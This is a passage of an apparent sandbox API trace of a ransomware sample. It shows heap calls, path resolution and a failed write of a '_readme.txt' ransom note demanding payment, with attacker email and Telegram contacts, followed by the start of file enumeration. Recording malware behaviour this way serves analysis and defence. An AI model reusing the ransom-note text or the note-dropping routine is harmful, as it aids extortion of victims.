hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.379] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.379] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.379] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.379] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.379] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.379] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.379] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.379] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.379] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.379] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.379] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.379] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.379] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.379] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.379] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.379] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.379] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.380] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.380] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.380] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.380] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.380] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.380] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.380] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.380] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.380] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.380] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.380] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.380] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.380] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.380] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.380] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.380] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.380] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.380] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.380] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.380] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.380] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.380] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.380] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.380] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.380] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.380] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.380] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.381] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.381] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.381] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.381] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.381] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.381] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.381] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.381] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.381] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.381] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.381] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.381] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.381] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.381] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.381] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.381] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.381] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.381] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.381] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.381] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.381] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.381] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.381] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.381] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.381] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.381] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.381] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.381] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.383] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.383] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.383] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.383] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.383] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.383] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.383] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.383] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.383] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.383] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.383] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.383] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.383] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.385] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.385] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.385] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.385] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.385] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.385] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.385] PathFindFileNameW (pszPath="C:\\Boot\\pt-PT\\") returned="pt-PT\\" [0266.385] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.385] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x640000) returned 1 [0266.385] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.385] PathFindFileNameW (pszPath="") returned="" [0266.385] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.386] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.386] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.386] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.386] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076cb0 | out: hHeap=0x640000) returned 1 [0266.386] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.386] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.386] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0266.386] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.386] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.386] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 0 [0266.386] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31156f0 [0266.386] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.387] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.387] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.387] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\_readme.txt" (normalized: "c:\\boot\\pt-pt\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.387] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.387] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.387] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.387] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.387] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.387] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.387] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.387] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.387] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: 